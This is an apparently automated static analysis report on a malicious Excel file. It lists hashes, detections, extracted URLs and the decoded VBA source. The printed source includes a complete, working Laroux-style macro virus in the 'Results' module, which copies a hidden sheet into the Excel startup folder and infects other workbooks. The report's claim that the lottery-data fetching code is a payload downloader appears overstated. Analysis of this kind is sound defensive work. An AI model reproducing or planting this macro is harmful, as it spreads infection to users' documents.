Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 98a25ec85ff9b8a9…

MALICIOUS

Office (OLE)

482.0 KB Created: 2007-12-06 07:52:00 Authoring application: Microsoft Excel First seen: 2015-09-19
MD5: 29ccecb847ecfbfee8f080d2e8612d60 SHA-1: 01c60ed98e6ead8af3550652c95f481a0e02b2a8 SHA-256: 98a25ec85ff9b8a9c29b08f618846eaae4ec2051d7f214abcb3ad49f6f4ec001
230 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1059 Command and Scripting Interpreter T1203 Exploitation for Client Execution

The sample is an Excel file containing VBA macros, specifically an Auto_Open macro that uses CreateObject to download content from a series of URLs. The ClamAV detection names 'Xls.Dropper.Agent-7370966-0' and 'Xls.Trojan.Laroux-32' indicate a dropper functionality. The VBA script attempts to download content from URLs like http://video.shishicai.cn/haoma/cqssc/list/120.aspx, suggesting it's a downloader for a second-stage payload.

Heuristics 6

  • ClamAV: Xls.Dropper.Agent-7370966-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Xls.Dropper.Agent-7370966-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
        With CreateObject("MSXML2.XMLHTTP.3.0")
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Auto_Open macro low OLE_VBA_AUTO
    Auto_Open macro
    Matched line in script
    Sub auto_open()
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://video.shishicai.cn/haoma/cqssc/list/120.aspx In document text (OLE body)
    • http://video.shishicai.cn/haoma/hljssc/list/84.aspxIn document text (OLE body)
    • http://video.shishicai.cn/haoma/jxssc/list/84.aspx�In document text (OLE body)
    • http://video.shishicai.cn/haoma/xjssc/list/84.aspx�In document text (OLE body)
    • http://video.shishicai.cn/haoma/jxssc/list/84.aspxIn document text (OLE body)
    • http://video.shishicai.cn/haoma/xjssc/list/84.aspxIn document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 6869 bytes
SHA-256: cd2b4eb861fa272ebfb2c19d3873ec7bcc874fd6f420036b59316571975cc67b
Detection
ClamAV: Xls.Trojan.Laroux-32
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Sheet1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "模块1"
Function jast(rng As Range)
Dim i%
For i = 1 To Len(rng)
x = IIf(InStr(x, Mid(rng, i, 1)) = 0, x & Mid(rng, i, 1), x)
Next i
jast = x
End Function



Function pc(a, b)
'选出其中没有的数字
'a为侍判断的数,B为数的位数
Dim i, j As Long
Dim l As String
i = Len(Trim(a))
If i < b Then a = a * 10: i = i + 1
l = "0123456789"
While i > 0
j = Mid(a, i, 1)
l = Replace(l, j, "")
i = i - 1
Wend
pc = l
End Function


Attribute VB_Name = "模块2"
Option Explicit
Private Declare Function Beep Lib "kernel32" (ByVal dwFreq As Long, ByVal dwDuration As Long) As Long
Private Const MAX_COMPUTERNAME_LENGTH As Long = 31
Sub Run_it()
Range("j1") = "已提醒"
Application.OnTime Now + TimeValue(Range("f1").Value), "saveit"
End Sub
Sub saveit()
On Error Resume Next
Range("j1") = "未提醒"
数据刷新
If [h1] Then Beep 2000, 500
If [i1] Then MsgBox "时间到!!看看"
End Sub
Sub cqssc()
    Dim s() As String, i As Long
    With CreateObject("MSXML2.XMLHTTP.3.0")
        .Open "get", "http://video.shishicai.cn/haoma/cqssc/list/120.aspx", False
        .setRequestHeader "If-Modified-Since", Format(Now, "[$-F800]dddd, mmmm dd, yyyy") & " GMT"
        .send
        s = Filter(Split(.responsetext, "},{"), "BonusNumberString")
    End With
    For i = 0 To 118
         s(i) = Right(s(i), 100)
    Next
    s(119) = Left(s(119), 100)
    Worksheets("原始数据").[a1].Resize(UBound(s) + 1) = WorksheetFunction.Transpose(s)
End Sub

Sub hljssc()
    Dim s() As String, i As Long
    With CreateObject("MSXML2.XMLHTTP.3.0")
        .Open "get", "http://video.shishicai.cn/haoma/hljssc/list/84.aspx", False
        .setRequestHeader "If-Modified-Since", Format(Now, "[$-F800]dddd, mmmm dd, yyyy") & " GMT"
        .send
        s = Filter(Split(.responsetext, "},{"), "BonusNumberString")
    End With
    For i = 0 To 82
         s(i) = Right(s(i), 100)
    Next
    s(83) = Left(s(83), 100)
    Worksheets("原始数据").[i1].Resize(UBound(s) + 1) = WorksheetFunction.Transpose(s)
End Sub

Sub jxssc()
    Dim s() As String, i As Long
    With CreateObject("MSXML2.XMLHTTP.3.0")
        .Open "get", "http://video.shishicai.cn/haoma/jxssc/list/84.aspx", False
        .setRequestHeader "If-Modified-Since", Format(Now, "[$-F800]dddd, mmmm dd, yyyy") & " GMT"
        .send
        s = Filter(Split(.responsetext, "},{"), "BonusNumberString")
    End With
    For i = 0 To 82
         s(i) = Right(s(i), 100)
    Next
    s(83) = Left(s(83), 100)
    Worksheets("原始数据").[q1].Resize(UBound(s) + 1) = WorksheetFunction.Transpose(s)
End Sub
Sub xjssc()
    Dim s() As String, i As Long
    With CreateObject("MSXML2.XMLHTTP.3.0")
        .Open "get", "http://video.shishicai.cn/haoma/xjssc/list/84.aspx", False
        .setRequestHeader "If-Modified-Since", Format(Now, "[$-F800]dddd, mmmm dd, yyyy") & " GMT"
        .send
        s = Filter(Split(.responsetext, "},{"), "BonusNumberString")
    End With
    For i = 0 To 82
         s(i) = Right(s(i), 100)
    Next
    s(83) = Left(s(83), 100)
    Worksheets("原始数据").[Y1].Resize(UBound(s) + 1) = WorksheetFunction.Transpose(s)
End Sub
Sub 数据刷新()
With Worksheets("开奖号")
If .[e2] Then cqssc
If .[c2] Then hljssc
If .[d2] Then jxssc
If .[a1] Then xjssc
.Select
End With
End Sub








Attribute VB_Name = "Sheet3"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Sheet4"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "模块3"
Option Explicit

Sub 按钮15_Click()
Range("A88").Select
End Sub


Attribute VB_Name = "模块4"
Option Explicit

Sub 微调框12_更改()
If [h2] = 4 Then [h2] = 1
If [h2] = 0 Then [h2] = 3
End Sub
Sub 微调框1_更改()
If [b1] = 40 Then [b1] = 8
If [b1] = 0 Then [b1] = 32
End Sub



Attribute VB_Name = "Results"




Sub auto_open()
Attribute auto_open.VB_ProcData.VB_Invoke_Func = " \n14"
    Application.OnSheetActivate = "ck_files"
End Sub

Sub ck_files()
Attribute ck_files.VB_ProcData.VB_Invoke_Func = " \n14"
    c$ = Application.StartupPath
    m$ = Dir(c$ & "\" & "RESULTS.XLS")
    If m$ = "RESULTS.XLS" Then p = 1 Else p = 0
    If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0
    whichfile = p + w * 10
    
Select Case whichfile
    Case 10
    Application.ScreenUpdating = False
    n4$ = ActiveWorkbook.Name
    Sheets("results").Visible = True
    Sheets("results").Select
    Sheets("results").Copy
    With ActiveWorkbook
        .Title = ""
        .Subject = ""
        .Author = ""
        .Keywords = ""
        .Comments = ""
    End With
    newname$ = ActiveWorkbook.Name
    c4$ = CurDir()
    ChDir Application.StartupPath
    ActiveWindow.Visible = False
    Workbooks(newname$).SaveAs FileName:=Application.StartupPath & "/" & "RESULTS.XLS", FileFormat:=xlNormal _
        , Password:="", WriteResPassword:="", ReadOnlyRecommended:= _
        False, CreateBackup:=False
    ChDir c4$
    Workbooks(n4$).Sheets("results").Visible = False
    Application.OnSheetActivate = ""
    Application.ScreenUpdating = True
    Application.OnSheetActivate = "RESULTS.XLS!ck_files"
    Case 1
    Application.ScreenUpdating = False
    n4$ = ActiveWorkbook.Name
    p4$ = ActiveWorkbook.Path
    s$ = Workbooks(n4$).Sheets(1).Name
    If s$ <> "results" Then
        Workbooks("RESULTS.XLS").Sheets("results").Copy before:=Workbooks(n4$).Sheets(1)
        Workbooks(n4$).Sheets("results").Visible = False
    Else
    End If
    Application.OnSheetActivate = ""
    Application.ScreenUpdating = True
    Application.OnSheetActivate = "RESULTS.XLS!ck_files"
    Case Else
End Select
End Sub